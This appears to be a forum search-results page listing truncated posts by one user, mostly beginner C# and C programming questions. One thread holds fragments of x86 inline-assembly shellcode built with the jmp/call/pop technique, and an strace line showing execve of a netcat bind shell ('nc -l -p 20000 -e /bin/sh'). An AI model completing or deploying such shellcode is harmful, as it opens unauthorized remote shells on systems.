Search:

Type: Posts; User: jcafaro10

Page 1 of 8 1 2 3 4

Search: Search took 0.01 seconds.

  1. Replies
    2
    Views
    894

    Correctly initialize 2-d array

    I'm trying to set up a 2-d array of objects. I want the array to be accessible to the whole class that it is defined in but I don't know how big the array is right away. What is the correct way to...
  2. Replies
    10
    Views
    5,862

    In my code I just say to read in the command from...

    In my code I just say to read in the command from user input. I've tried entering it in a few different ways:



    Enter Command: insert into table1 values (\"hi\",2,3,4)
    Invalid Command: Syntax...
  3. Replies
    10
    Views
    5,862

    Thanks for the help. I started playing around...

    Thanks for the help. I started playing around with using different commands. I'm new to sql but I've looked up some stuff. I have a table with column headers A,B,C, and D. I can insert items into...
  4. Replies
    10
    Views
    5,862

    Sorry I've been scripting all day and forgot that...

    Sorry I've been scripting all day and forgot that I need a main method, whoops
  5. Replies
    10
    Views
    5,862

    Invalid token '(' in class, struct, or interface...

    Invalid token '(' in class, struct, or interface member declaration
    It's pointing to con.Open(); I think that means it just doesn't know what con is.
  6. Replies
    10
    Views
    5,862

    Whoops. It's OleDbCommand now but still the same...

    Whoops. It's OleDbCommand now but still the same error



    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Data;
    using System.Data.OleDb;
  7. Replies
    10
    Views
    5,862

    Using OleDb in C#?

    I'm trying to read excel files using C# following some tutorials I found online but I think I'm forgetting something because the method names don't seem to be recognized. Do I need to import...
  8. Replies
    1
    Views
    2,327

    Good introduction to Windows Forms?

    I'm just learning C# and have gone through a bunch of good introductions to the C# language. A lot of it is really similar to Java so I don't anticipate having much issue picking up things. One...
  9. Thread: New to C#

    by jcafaro10
    Replies
    6
    Views
    1,580

    Thanks I'll look into that. I found a good...

    Thanks I'll look into that. I found a good tutorial on C# that I'm going through now. It seems very similar to Java which is very helpful. I've also read that you can use C# with ASP.NET. I don't...
  10. Thread: New to C#

    by jcafaro10
    Replies
    6
    Views
    1,580

    Hey thanks, that's quite helpful. I found a page...

    Hey thanks, that's quite helpful. I found a page on C# for Java programmers which was also helpful: C# From a Java Developer's Perspective.

    Still looking for a good C# plugin for eclipse
  11. Thread: New to C#

    by jcafaro10
    Replies
    6
    Views
    1,580

    New to C#

    Hello all,

    I'm starting to pick up C#. I come from a java background so a lot of things look familiar but a few things don't. I'm starting a simple Hello World program using Visual Studio. ...
  12. Replies
    2
    Views
    6,984

    thanks, that helped!

    thanks, that helped!
  13. Replies
    2
    Views
    6,984

    Converting string to unsigned long

    I'm passing a memory address as arguments to a program but when I try and convert the string to an unsigned long, I don't get anything.



    int main(int argc,char *argv[])
    {
    unsigned long...
  14. Replies
    6
    Views
    1,251

    Ok, so here's my updates with some more comments...

    Ok, so here's my updates with some more comments to show what I'm trying to do:


    char text[200];
    FILE *f2 ;
    f2 = popen("./program1","r");//this program takes a little while to produce...
  15. Replies
    6
    Views
    1,251

    I started a little smaller with this code: ...

    I started a little smaller with this code:


    char text[200];
    FILE *f1,
    f1 = popen("./program1","w");
    while (fgets(text, 200, f1) == NULL)
    {}
    while (fgets(text,200,f1)!=NULL)...
  16. Replies
    53
    Views
    10,521

    Learning is my main objective here, but I learn...

    Learning is my main objective here, but I learn best through listening to people who know more, rather than googling although I've done a ton of googling as well
  17. Replies
    6
    Views
    1,251

    Writing a script

    I know that C probably isn't the best language to be scripting in but I'm not too familiar with my linux virtual machine so I'm not sure how easy it would be to install python or java or something.
    ...
  18. Replies
    53
    Views
    10,521

    Thanks for all the help guys. I'll mull a bunch...

    Thanks for all the help guys. I'll mull a bunch of these ideas around in my head.
  19. Replies
    53
    Views
    10,521

    So then it's: "myarr: .long...

    So then it's:


    "myarr: .long myarr-?,myarr-?,myarr-?,myarr-?,0\n\t"


    How do I know what to put in for the question marks? My guess would be that since my code looks like this:


    "myarr:...
  20. Replies
    53
    Views
    10,521

    So you mean instead of: "myarr: .long...

    So you mean instead of:


    "myarr: .long arg1,arg2,arg3,arg4,0\n\t"


    do:


    "myarr: .long myarr+?,myarr+?,myarr+?,myarr+?,0\n\t"
  21. Replies
    53
    Views
    10,521

    Closer. I've eliminated a little dependence. ...

    Closer. I've eliminated a little dependence. I'm not sure how to populate an actual array however at runtime



    void main()
    {
    __asm__(
    "jmp call1\n\t"
    "start1:\n\t"
    "pop %esi\n\t"
  22. Replies
    53
    Views
    10,521

    void main() { __asm__( "jmp call\n\t"...

    void main()
    {
    __asm__(
    "jmp call\n\t"
    "start:\n\t"
    "pop %esi\n\t"
    "mov $0x0,%edx\n\t"
    "mov $arg1,%ebx\n\t"
    "lea (%esi),%ecx\n\t" //how much do I count?
    "mov $0xb,%eax\n\t"
  23. Replies
    53
    Views
    10,521

    I ran an strace on my code to see what was...

    I ran an strace on my code to see what was happening. Here is the output (it just keeps looping this):


    execve("΃փك��", ["/bin/nc", "-l", "-p 20000", "-e/bin/sh"], [/* 0 vars */]) = -1 ENOENT...
  24. Replies
    53
    Views
    10,521

    Here's some well known code for example that does...

    Here's some well known code for example that does something similar:


    jmp 0x26 # 2 bytes
    popl %esi # 1 byte
    movl ...
  25. Replies
    53
    Views
    10,521

    I guess that makes sense. It doesn't really...

    I guess that makes sense. It doesn't really explain why the code doesn't work as is though. Since I'm only using it where its compiled, then it should work. But also, I've seen similar code to...
Results 1 to 25 of 186
Page 1 of 8 1 2 3 4